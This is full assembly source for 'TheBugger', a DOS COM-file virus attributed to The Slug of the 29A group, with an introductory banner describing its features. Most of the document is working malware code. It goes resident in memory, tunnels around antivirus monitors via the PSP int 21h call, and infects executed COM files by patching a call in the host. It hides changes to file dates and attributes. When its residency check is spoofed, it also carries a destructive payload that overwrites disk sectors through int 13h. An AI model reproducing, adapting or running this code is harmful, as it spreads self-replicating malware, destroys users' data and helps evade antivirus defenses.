;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±±± ±±± ;±±± ðððððð ðð ðð ððððð ðððð ðð ðð ððððð ððððð ððððð ððððð ±±± ;±±± ðð ððððð ðð= ð==ð ðð ðð ðð ðð ðð= ðð ð ±±± ;±±± ðð ðð ðð ðð ð ð ðð ðð ðð ðð ðð ðð ðð ðððð ±±± ;±±± ðð ðð ðð ððððð ððððð ððððð ððððð ððððð ððððð ðð ð VIRUS. ±±± ;±±± ±±± ;±±± ¯¯¯ A 29A Research Code by The Slug. ®®® ±±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±±± TheBugger is a simple COM infector with some interesting ±±± ;±±± inprovements. ±±± ;±±± ±±± ;±±± Its first difference with a normal COM virus is the tricky resident ±±± ;±±± check; it's designed to avoid lamers writing the typical resident ±±± ;±±± program wich returns the residency code and forces the virus to not ±±± ;±±± install in memory. To avoid that, the virus makes an extra check of ±±± ;±±± a random byte in the memory copy; if the check fails, it jumps to a ±±± ;±±± simulated HD formatting routine }:). ±±± ;±±± ±±± ;±±± Another interesting feature is the tunneling routine. It uses the ±±± ;±±± common code trace method but it starts tracing from PSP call to int ±±± ;±±± 21h instead of doing it from normal int 21h vector in order to avoid ±±± ;±±± resident antivirus stopping trace mode. This call is supported for ±±± ;±±± compatibility with older DOS versions and it has some little ±±± ;±±± diferences with the normal int 21 handler: first, the function code ±±± ;±±± is passed in cl register (not in ah as usual) and second, the ±±± ;±±± function to call can't be higher than 24h. These diferences are ±±± ;±±± handled by the O.S. in a separated routine and then it jumps to the ±±± ;±±± original int 21h handler, so the tunneling routine only skips the ±±± ;±±± first 'compatibility' routines and gets the real int 21h address €:).±±± ;±±± ±±± ;±±± The last big feature, is the infection method; the virus infects COM ±±± ;±±± files by changing a call in host code to point to it. This call may ±±± ;±±± be one between the second and fifth. This is done by intercepting ±±± ;±±± the int 21h service 4bh (exec), when a COM file is executed, the vi- ±±± ;±±± rus changes its first word with an int CDh call, it intercepts this ±±± ;±±± int and jumps to the int 21h. When the host starts running, it exe- ±±± ;±±± cutes the int CDh and then the virus takes control; it restores host ±±± ;±±± first word and changes int 01h to trace host in order to find a call ±±± ;±±± to infect }:) The use of int CDh can be avoided by tracing int 21h ±±± ;±±± until host code, but this way we have the same problem of resident ±±± ;±±± antivirus. ±±± ;±±± ±±± ;±±± And that's all folks :), enjoy it. ±±± ;±±± ±±± ;±±± 9  ±±± ;±±± The Slug/29A };){|0D==8±±± ;±±± I Love This Job. 3---ë-----±±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± .286 code segment 'TheBugger' assume cs:code,ds:code,ss:code org 0h virsize equ (virend-start)+1 ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Main C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± start: push cs ;address t0 return t0 h0st. db 68h ;push '0ffset'. retonno dw 0000 push ds es pusha call sig ;get nasty delta 0ffset. sig: pop si sub si, offset(sig) mov ax, 0B0B0h ;resident check. int 21h cmp ax, 0BABAh jne instal jmp lstchk instal: mov ah, 62h ;get PSP segment. int 21h xchg bx,ax ;get MCB addres. dec ax mov ds,ax cmp byte ptr ds:[0],'Z' ;is the last MCB? je chgmcb jmp aprog chgmcb: sub word ptr ds:[3],(virsize/10h)+8 ;change bl0ck size in MCB sub word ptr ds:[12h],(virsize/10h)+8 ;& in PSP. add ax,ds:[3] inc ax cld ;copy to new l0cati0n. mov es, ax xor di, di push cs pop ds mov cx, virsize rep movsb push es ;jump t0 c0py. push offset(newcpy) retf newcpy: mov si, 06h ;m0ve call t0 int 21, lea di, PSPcall+1 ;fr0m PSP t0 c0py 0f virus. movsw movsw mov ds, cx ;save curent int 21h vect0r. mov si,21h*4 ;) cx=0 lea di,int21+1 movsw movsw mov word ptr ds:[01h*4], offset(tunn) ;hang tunneling code :) mov word ptr ds:[01h*4]+2, es pushf ;call int 21h fr0m PSP in trace m0de. pop ax or ah, 01h push ax mov cl, 0Bh ;get input status function (in cl ;). popf call PSPcall mov word ptr [si-4], offset(hdl21) ;hang new int 21h handler. mov word ptr [si-2], es aprog: popa ;return t0 h0st. pop es ds retf lstchk: in ax, 40h ;check rand0m w0rd of mem0ry c0py. and ax, 0200h push si add si, ax mov di, ax cmpsw pop si je aprog buuuhh: push cs ;display funny message :) pop ds lea dx, joke add dx, si mov ah,09h int 21h mov dx,0180h ;I think it's clear enought };). mov cx,07FFh funny: mov ax,0401h int 13h loop funny ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± credits db 'TheBugger virus by The Slug/29A' intCD: int 0CDh ;int t0 detect h0st execution. PSPcall: db 9Ah dd 0 ;PSP call t0 int21h ;) joke db 'Removing virus from memory...',13,10,'$' ;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int 21h Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± hdl21: cmp ax, 0B0B0h ;resident service? jne func2 mov ax,0BABAh push cs ;return virus segment in es pop es ;f0r extra check. iret func2: cmp ax, 4B00h ;exec service? je exec int21: db 0EAh ;jmp t0 int 21h. dd 0 exec: push ds es pusha pushf mov si, dx ;c0py filespec. push cs pop es lea di, path next: lodsb stosb cmp al, 0 jne next sub si, 4 ;is a .c0m file? lodsw xor ax, 2020h cmp ax, 'oc' jne nocom call chgattr ;change file attributes. mov ax, 3D02h ;0pen file. int 03h xchg bx, ax call getdate ;get file time & date. lea dx, firstb ;read first 3 bytes 0f file mov cx, 3 ;t0 exe check & h0st detect rutine. mov ah, 3Fh int 03h cmp word ptr cs:firstb, 'ZM' ;is an exe file (MZ sign)? je exit xor cx, cx ;g0 t0 file start again. mov ax, 4200h cwd ;dx <- 0 ;) int 03h lea dx, intCD ;write 'int CDh' c0de 0n file start mov cx, 2 ;t0 detect h0st execution. mov ah, 40h int 03h xor ax, ax ;change int CDh vect0r mov es, ax ;f0r h0st detection. mov ax, es:[0CDh*4] mov intcddes, ax mov ax, es:[0CDh*4]+2 mov intcdseg, ax mov es:[0CDh*4], offset(fndhst) mov es:[0CDh*4]+2, cs exit: mov ah, 3Eh ;cl0se file. int 03h nocom: popf popa pop es ds jmp int21 ;±±±±±±±±±±±±±±±±±±±±±±±±±±± First Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±± tunn: push ds es bp ;trace int 21 f0r tunneling. pusha call getret ;get next instructi0n address in es:di. cmp es:[di], 0FC80h ;is an 'cmp ax, ??' jne fuera cmp byte ptr es:[di+2], 24h ;avoid 'cmp ax, 24h' je fuera stop: xor bx, bx mov es, bx mov es:[03h*4], di ;make int 03h point to true int 21h ;) mov es:[03h*4]+2, ax lodsw ;trace m0de 0ff. and ah, 0FEh mov [si-2], ax fuera: popa pop bp es ds iret ;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int CDh Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± fndhst: push ds es bp ;detect h0st c0de at exec. pusha call getret ;get next instructi0n dir. chkhst: cmp di, 102h ;ensure it's h0st start :) jne nohost push cs pop ds mov ax, word ptr firstb ;rest0re first h0st w0rd in mem0ry. dec di dec di stosw lea dx, path ;0pen file. push dx mov ax, 3D02h int 21h xchg bx, ax lea dx, firstb ;rest0re first w0rd 0f file. mov cx, 2 mov ah, 40h int 21h call setdate ;rest0re file date & time. mov ah ,3Eh ;cl0se file. int 21h pop dx call setattr ;rest0re file attributes. xor ax, ax ;rest0re int CDh vect0r. mov es, ax mov ax, intcddes mov es:[0CDh*4], ax mov ax, intcdseg mov es:[0CDh*4]+2, ax mov word ptr es:[01h*4], offset(fndcal) ;change int 01h vect0r mov es:[01h*4]+2, cs ;t0 find a call. mov numinstr, 0FFh ;max number 0f instr. t0 trace. in ax, 40h ;ramd0m ch0se 0f call t0 infect (2-5). and al, 03h inc al inc al mov numcall, al push ss ;rest0re 0riginal IP (100h) 0n stack. pop ds dec di dec di mov [si-4], di lodsw ;trace m0de 0n or ah, 01h mov ss:[si-2], ax nohost: popa pop bp es ds iret ;±±±±±±±±±±±±±±±±±±±±±±±±±±± Second Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±± fndcal: push ds es bp ;trace h0st t0 find a call t0 infect. pusha dec cs:numinstr ;check instructi0n trace limit. jnz goon jmp off goon: call getret ;get ret address. cmp di, cs:lstdsp ;d0 n0t c0unt 0ne m0re instructi0n jne norep ;0n 'rep' prefixed instructi0ns. inc cs:numinstr norep: mov cs:lstdsp, di ;st0re actual return 0ffset. mov ax, es:[di] cmp al, 9Dh ;check f0r a p0pf. jne chkirt lodsw lodsw or ah, 01h ;ensure trap flag will be 0n. mov [si-2], ax jmp nocall chkirt: cmp al, 0CFh ;check f0r a iret. jne chkint lodsw lodsw lodsw lodsw or ah, 01h ;ensure trap flag will be 0n. mov [si-2], ax anocall:jmp nocall chkint: cmp al, 0CDh ;check f0r a int xx. jne chkint3 cmp ah, 20h ;skip ints 20h, 21h & 20h je anocall cmp ah, 21h je anocall cmp ah, 27h je anocall mov cs:numint, ax ;int number t0 perf0rm call. inc di ;inc ret addr t0 step 0ver int call. inc di mov [si-4], di popa pop bp es ds numint dw 00 ;perf0rm int call in virus c0de. iret chkint3:cmp al, 0CCh ;check int 03h call. jne chkcal inc di mov [si-4], di ;step 0ver int call. jmp nocall chkcal: cmp al, 0E8h ;check f0r a call t0 infect. je found jmp nocall found: dec cs:numcall ;it's the nice 0ne ;) je go cmp cs:numinstr, 20 ;d0n't be s0 extrict in call number jb go ;if there are t00 few calls. jmp nocall go: call chgattr ;change attributes. mov ax, 3D02h ;0pen file. int 03h xchg bx, ax call getdate ;get file date & time. xor cx, cx ;m0ve t0 file call positi0n. mov dx, di sub dx, 100h mov ax, 4200h int 03h lea dx, check ;read call fr0m file f0r c0mpress chk. mov cx, 1 mov ah, 3Fh int 03h cmp check, 0E8h ;c0mpressed file? je ok jmp close ok: xor cx, cx ;m0ves t0 end 0f file. mov ax, 4202h cwd ;dx <- 0 ;) int 03h mov hostsize, ax sub ax, di ;find call parameter. add ax, 0FDh mov hostsize, ax ;f0r a new "call hostsize". mov ax, es:[di+1] ;0ffset t0 return t0 h0st add ax, di add ax, 3 mov retonno, ax lea dx, start ;save mi c0de at file end. mov cx, virsize mov ah, 40h int 03h xor cx, cx ;m0ves again t0 call. sub di, 0FFh mov dx, di mov ax, 4200h int 03h lea dx, hostsize ;change it. }:) mov cx, 2 mov ah, 40h int 03h close: call setdate ;rest0re file time & date. mov ah, 3Eh ;cl0se file. int 03h lea dx, path call setattr ;rest0re file attributes. off: mov bp, sp mov ax, ss:[bp+26] ;trace m0de 0ff. and ah, 0FEh mov ss:[bp+26], ax nocall: popa pop bp es ds iret ;±±±±±±±±±±±±±±±±±±±±±±± Get Ret Address Fr0m Stack ±±±±±±±±±±±±±±±±±±±±±±±±± getret: mov si, sp ;get next instructi0n dir. add si, 24 push ss pop ds lodsw mov di, ax lodsw mov es, ax ret ;±±±±±±±±±±±±±±±±±±±±±±±± S0me File Handling C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±± chgattr:push cs pop ds lea dx, path mov ax,4300h ;change file attributes. int 03h mov attrib,cx xor cx, cx ;reset file atributes. mov ax,4301h int 03h ret setattr:mov cx, attrib ;rest0re file attributes. mov ax,4301h int 03h ret getdate:mov ax,5700h ;get file time & date. int 03h mov time,cx mov date,dx ret setdate:mov cx,time ;rest0re file time & date. mov dx,date mov ax,5701h int 03h ret virend: ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Virtual Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± firstb db 3 dup(0) ;buffer f0r h0st start. lstdsp dw 0 ;last trace 0ffset. numinstr db 0 ;max. number 0f instructi0ns t0 trace. numcall db 0 ;call t0 infect (2-5). intcddes dw 0 ;int CD vect0r backup. intcdseg dw 0 hostsize dw 0 ;it's just the h0st size ;) attrib dw 0 ;file attributes. time dw 0 ;file time. date dw 0 ;file date. check db 0 ;check f0r compressed file. path db 0 ;path to host. code ends end start